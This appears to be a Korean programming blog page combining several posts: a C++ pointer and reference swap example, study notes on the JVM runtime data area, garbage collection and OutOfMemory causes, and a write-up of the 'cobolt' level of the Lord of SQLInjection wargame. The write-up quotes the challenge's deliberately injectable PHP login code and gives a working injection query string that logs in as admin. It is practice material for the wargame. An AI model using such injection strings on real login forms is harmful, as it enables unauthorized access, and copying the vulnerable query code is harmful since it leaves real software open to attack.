정보처리기사


Tensorflow Developer


SQLD


 

// Online C++ compiler to run C++ program online
#include <iostream>
using namespace std;

template <typename T>
void pointerSwitch(T* a, T* b){
    // a의 주소 b의 주소를 받음음
    T tmp = *a; // 입력 받은 인수가 주소이기 때문에 값으로 변환

    *a = *b;
    *b = tmp;
}

template <typename T>
void referenceSwitch(T& a, T& b) {
    T tmp = a;
    a = b;
    b = tmp;
}

int main() {
    int a = 10;
    int b = 20;
    cout << *&a;

    cout << "a는" << a << "\n";
    cout << "b는" << b << "\n";    
    cout << "pointer switch \n" ;    
    
    pointerSwitch(&a, &b);
    
    cout << "a는" << a << "\n";
    cout << "b는" << b << "\n";  
    cout << "reference switch \n" ;
    
    referenceSwitch(a, b);
    
    cout << "a는" << a << "\n";
    cout << "b는" << b << "\n"; 
    return 0;
}

 

 

10a는10
b는20
pointer switch 
a는20
b는10
reference switch 
a는10
b는20

'기타 > 기타의 기타' 카테고리의 다른 글

Spring Integration 컴포넌트 간단정리  (0) 2024.03.25
자격증 정리  (0) 2023.12.28
JVM Runtime Data Area  (1) 2023.12.23

JVM Runtime Data Area는 자바 애플리케이션 실행을 윟나 메모리 영역으로 아래와 같이 나뉜다.

 

  • Register
  • JVM Stack
  • Native Method Stack
  • Method Area
  • Heap

Registert, JVM Stack, Native Method는 각 Thread가 개별적으로 소유한 공간이나, Method Area, Heap은 모든 Thread가 공유하므로 JVM이 기동시 생성된다.

 


Register

CPU 내의 레지스터는 데이터를 신속하게 저장하여 사용하는 공간으로 data, address, status등으로 구성 되어 있다.

JVM 내에도 PC register, optop, frame, vars 등으로  구분되어 있다.

 

PC register는 현재 메서드가 실행할 다음 bytecode의 address를 가지고 있다. 다만 자바 메서드가아닌 Native 메서드를 처리한다면 PC register의 값은 undifined이다.(비 자바 언어를 위한 별도의 Native Method Stack이 존재하기 때문)

 

Stack 영역을 관리하는 3개 Register는 각각 다음 영역에 대한 포인터를 가지고 있다.

  • optop Register -> Operand Stack
  • vars Register -> Local Variable
  • frame Register -> Execution Environment

JVM Stack

각 Thread는 고유의 JVM Stack을 가지고 있다. Stack은 Frame을 여러장 쌓아놓은 구조이며 1개의 Frame은 1개의 Method에 대응한다.

  • JVM Stack의 단위 = Thread 단위
  • Stack Frame = Method의 단위

JVM Stack은 그 이름과 같이 후입선출(LIFO)방식이기 때문에 메서드를 호출하면 Stack의 최상단에 새로운 Frame이 놓인다. 그리고 메소드의 수행이 끝나면 최상단의 Frame은 제거된다. Frame의 내부 구조는 다음과 같다.

 

  • Operand Stack
  • Local Variable
  • Execution Environment

Operand Stack 

연소나 과정의 피연산자가 push, pop되는 공간이다.

int i1 = 1;
int i2 = 2;
int i3 = i1 + i2;

 

  1. int 1을 Operand Stack에 push 한다.
  2. Operand의 int 1을 Local Vairable Slot에 pop 한다.
  3. int 2를 Operand Stack에 Push한다.
  4. Operand의 int 2를 Local Variable Slot에 pop 한다.
  5. Local Variable의 int 1을 Operand에 Push한다.
  6. Local Variable의 int 2을 Operand에 Push한다.
  7. Operand의 두 int를 add 한다.
  8. Operand의 int 3을 Local Vairable Slot에 pop한다.

Operand Stack의 각 slot 크기는 32bit 이므로 long, duble과 같은 타입은 2개의 slot을 사용한다.

 

Local Variavble 내에는 메서드의 Parameter와 Local variable이 존재한다.

boolean, byte, char, long, short 등은 1개의 slot, float, double은 2개의 슬롯을 사용한다. 다만 Object, String은 크기를 알 수 없는 객체의 경우 Heap에 저장되고 Local variable에  reference만 저장되며 1개의 slot을 사용한다. Primitive Type은 Heap 영역을 거치지 않기 때문에 상대적으로 성능이 좋을 수 있다.

 

 JVM Stack 처리중 발생 할 수 있는 오류는 StackOverFlowError와 OutOfMemoryError 등이 있다. 

 

  • StackOverFlowError: 사용 가능한 Stack의 크기보다 많은 메소드 생성 및 호출
  • OutOfMemoryError : 충분하지 않은 메모리;로 Stack의 생성 실패

Native Method Stack

자바 애필리케이션 내 C언어 등 타 언어 코드를 실행 할 수 있다 이 때는 JVM Stack이 아닌 Native Mehtod Stack에서 Native Method를 처리한다.


Method Area

ClassLoader Reference, Runtime Constant Pool, Field Inforamtion, Method Information, Mehtod Code 등을 저장하고 있다. Runtime Constrant Pool은 클래스타 인터페이스의 Constant 뿐만 아니라 Type, Method, Field에 대한 reference 정보를 가지고 있다.

 


Heap

Heap 영역은 Tomcat 등 WAS 운영 관리에 가장 밀접한 영역이다.

 

Heap 영역 구조

New Generation, Old Generation

  • New Generation: 막 생성된 객체, Old Generation으로 이동 하지 않은 비교적 새로운 객체의 공간
    • Eden: New Generation의 객체중에서도 가장 최근에 생성된 객체를 위한 공간이며 Minor GC 발생 시 이 객체들은 Survivor 영역으로 이동한다.
    • Survivor 1,2 : Eden에서 살아남은 객체의 공간으로 MinorGC 발생시마다 1 < -> 2 로 이동한다.
  • Old Generation: 오랜 시간 살아있는 객체의 공간

이러한 메모리 공간의 크기는 JVM의 커맨드 옵션으로 설정할 수 있다.

  • 전체 매모리 설정: -Xms(초기값), -Xmx(최대값)
  • New Generation과 Old Generation의 비율: -XX:NewRatio
  • New Generation 내부의 Eden, Survivor의 비율: -XX:SurvivorRatio

 


Permanent Generation

New Generation과 Old는 객체들을 위한 공간이라면 Permanent Generation은 클래스 정보를 저장하는 공간이다. 간혹 애플리케이션 내부에서 동적으로 많은 클래스를 생성하는 경우가 있는데 이럴 때 Permanent Generation이 부족 해질 수 있다.

 

  •  Permanent Generation 크기설정 :-XX:PermSize(초기값), -XX:MaxPermSize(최대값) 

 Permanent Generation의 확장 시 Full GC가 발생하기 때문에 가급적 두 값을 동일하게 설저 하는 것이 좋다.

 

Metaspace

자바 1.8부터는  Permanent Generation가 사라지고 Metasapce로 변경되었다.

  • Metaspace의 크기 설정: -XX:MetaspaceSize, -XX:MaxMetaspaceSize

Garbvage Collection

GC는 메모리 객체중 Garbage 객체를 식별, 정리하여 여유 메모리를 확보한다.

 

그러나 GC 메커니즘이 문제를 유발하기도 한다. Full GC수행 중 모든 애필리케이션 처리가 중단 되기 때문이다. 이를 Stop-The-World(STW)라고 부른다. STW의 시간은 Heap의 크기에 비례한다. 따라서 Heap을 많이 할당하는 것이 반드시 좋은 것만이 아니다 적잘한 메모리의 할당과 GC 정책이 필요하다.

 

Seral GC

가장 기본적인 GC로 자바 1.4에서는 Serial GC를 기본으로 사용하였다. 반명 1.5이후로는 호스트 파워를 분석하여 어떠한 GC 방식을 사용할지 결정한다 명시적으로 -XX:+UseSerialGC 옵션을 통해 Serial GC를 사용 할 수 있다.

 

Serail GC는 하나의 Thread가 GC 작업을 처리한. 머신의 processor가 복수 개 라고 해도 하나의 Thread가 처리한다. 또한 New Generation은 Generational 알고리즘, Old Generation은 Mark-compact 알고리즘을 처리한다.

 

Parallel Old GC

하나의 Thread가 처리하는 단점을 보안하기 위해 Parallel Old GC가 등장 했으며 Parallel Compacting 알고리즘을 사용한다.

 

Parallel GC의 Thread의 수는 반드시 CPU의 코어 수를 고려하여 설정해야한다. 기본적으로는 1:1이다.

 

G1 GC

메모리 공간을 Region이라는 영역으로 나누어 사용하는데 New Generation, Old 모두 Region을 사용한다.

 


오류의 유형

 

OOM Java heap space: Heap 영역내 객체생성을 위한 충분한메모리가 없을 때

OOM Requested array size exceed VM limit: Heap 현재 메모리 공간에서 처리 할 수 없을 만큼 큰 배열을 생성하는 경우

OOM ParmGen space: 너무 많은 클래스 정보를 로드 할 때 발생

OOM unable to create new native thread: OOM의 원인이 메모리가 아닌 OS 자원에 있을 가능성이 크다

 


OOM의 원인

할당한 Heap메모리가 절대적으로 적기 때문이다. 이때 -XmX옵션을 통해 최대 Heap을 늘려야 한다. 단 이때 GC로그를 보면 Heap의 최적의 값을 찾아야한다.

 

대용량의 데이터 조회/입력으로 인하여 OOM이 발생하는 경우도 많으며 이는 DB 처리 후 수만~ 수십만의 데이터를 패치한 후 Heap영역의 Collection 객체에 로드하게 되는데 주로 조회 리포트, 엑셀 다운로드 작업을하는 관리자 시스템이서 발생한다. 대용량업무를 처리하는 별도의 인스턴스를 분리하는 것이 바람직 하다.

 

메모리 누수 또한 원인이 된다. 주로 Heap 덤프를 분석하거나 APM도구를 통해 찾아 낼 수 있다. 한편 JNI(JAVA Native Interface)를 통해 Native 코드를 호출하는 과정에서 Native 영역에서 누수가 발생할 수 있다.


모니터링 도구 

  • jstat: Heap: DK가 기본으로 제공하는 텍스트 기반 모니터링 도구
  • jmap: Heap을 모니터링 할 수 있으며 Heap영역의 정보를 덤프파일로 생성할 수 있다.
  • jhat: jmap의 dump를 통해 생성한 Heap 덤프 파일을 분석후 html 형태로 제공하는 도구


문제

uery : select id from prob_cobolt where id='' and pw=md5('')


<?php
  include "./config.php"; 
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_cobolt where id='{$_GET[id]}' and pw=md5('{$_GET[pw]}')"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id'] == 'admin') solve("cobolt");
  elseif($result['id']) echo "<h2>Hello {$result['id']}<br>You are not admin :(</h2>"; 
  highlight_file(__FILE__); 
?>

 


풀이

if 조건을 보면 id가 'admin'면 되고

쿼리를 보면 pw 부분이 있지만 or 조건으로 true로 만들면된다.

 

 select id from prob_cobolt where id='admin' or '1'='1' and pw=md5('')

위와같은 쿼리를 만들기 위한 쿼리스트링은

id=admin%27+or+%271%27=%271&pw=

 

 

'WarGame > Load of SQLInjection' 카테고리의 다른 글

LOS GOBLIN (문자열 치환)  (0) 2024.03.07
LOS gremlin  (0) 2023.12.22

+ Recent posts